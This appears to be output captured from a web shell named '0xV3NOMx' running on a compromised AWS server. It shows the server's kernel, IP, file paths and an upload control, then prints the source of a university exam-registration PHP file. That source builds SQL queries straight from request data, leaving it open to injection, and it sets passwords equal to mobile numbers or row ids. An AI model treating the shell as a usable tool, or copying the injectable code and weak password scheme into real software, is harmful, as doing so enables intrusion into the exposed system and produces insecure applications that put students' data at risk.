0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.119.166.141


Current Path : /proc/thread-self/root/proc/thread-self/root/var/www/oasis/src/
Upload File :
Current File : //proc/thread-self/root/proc/thread-self/root/var/www/oasis/src/coll_exam_app_form.php

<?php
function collExamAppfromParam($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	@session_start();
	
	$regno = $aobj_context->mobj_data["regno"];
	
	$collegeCode =$_SESSION['collcode'];
	$univcode    =$_SESSION['FUNIVCODE']; 
	
	$query = "select s.FDEGREE,s.FCOLLCODE,s.FNAME,ifnull(s.fexamappblk,'') as fexamappblk,
			ifnull(s.fmp,'') as fmp,if(ifnull(s.FCASTE,'') = '', 'GM', s.FCASTE) as FCASTE , 
			if(instr(c.fconstype, c.fexamno) > 0, 'Low Income', 'Normal Fee') as FCONSTYPE  
			from student s 
			inner join candsum c on s.fdegree = c.fdegree and s.fregno = c.fregno 
			where s.FREGNO='{$regno}' and s.fcollcode = '{$collegeCode}'";	
		// var_dump($query); 
	$rst = $aobj_context->mobj_db->GetRow($query);
	// var_dump($rst);
	if ($rst ==  false)
	{	
		$arr = "Invalid Reg. No.";
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1,"failure");	
		return;
	}
	else
	{

		$query = "select fmobileno from logisys3_comexam.masuser
		where fregno = '{$regno}' and funivcode = '{$univcode}'";
		$rst1 = $aobj_context->mobj_db->GetRow($query);

		if ($rst1 ==  false)
		{	
			$upd1 = "INSERT INTO studlogin (fregno)
			VALUES('{$regno}')";
			$rst2 = $aobj_context->mobj_db->Execute($upd1);

			$query = "select fid as fmobileno from studlogin where fregno = '{$regno}'";
			$rst3 = $aobj_context->mobj_db->GetRow($query);
			$mob = $rst3['fmobileno'];

			$upd = "INSERT INTO logisys3_comexam.masuser (FUNIVCODE, FREGNO, FMOBILENO, FACTIVE,FUSERTYPE,FPASSWD,FTEMP)
			VALUES ('{$univcode}', '{$regno}', '{$mob}','T','900*','{$mob}','T')";
			$rst2 = $aobj_context->mobj_db->Execute($upd);

			$arr = $rst3;
			echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 1,"success");	
			return;
		}else
		{		
			$upd = "update candsum set FPAYTYPE = 'C', FPAYTIME = now()
			where fregno = '{$regno}' and fcollcode = '{$collegeCode}'";
			$rst2 = $aobj_context->mobj_db->Execute($upd);

			$arr = $rst1;
			echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 1,"success");	
			return;
		}	
	}
}

function SaveStudReg($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	@session_start();
	
	$regno = $aobj_context->mobj_data["regno"];
	$mob = $aobj_context->mobj_data["mob"];
	
	$collegeCode =$_SESSION['collcode'];
	$univcode    =$_SESSION['FUNIVCODE']; 
	
	if($univcode == '' || $collegeCode == '')
	{
		$arr = "Login and try again";
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1,"failure");	
		return;
	}


	$query = "select fmobileno,fregno from logisys3_comexam.masuser
	where  funivcode = '{$univcode}'
	and fmobileno = '{$mob}'";
	$rst1 = $aobj_context->mobj_db->GetRow($query);

	if ($rst1 ==  false)
	{	
		
		$upd = "INSERT INTO logisys3_comexam.masuser (FUNIVCODE, FREGNO, FMOBILENO, FACTIVE,FUSERTYPE,FPASSWD)
		VALUES
			('{$univcode}', '{$regno}', '{$mob}','T','900*','{$mob}')";
		$rst2 = $aobj_context->mobj_db->Execute($upd);
		if($rst2)
		{
			$arr = $mob;
			echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 1,"success");	
			return;
		}else
		{
			$arr = "Please try after some time";
			echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 2,"failure");	
			return;
		}	
	}else
	{		
		$arr = "This Mobile No. Already Registered. against register no is: ".$rst1['fregno'];
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 2,"failure");	
		return;
	}	
	
}

?>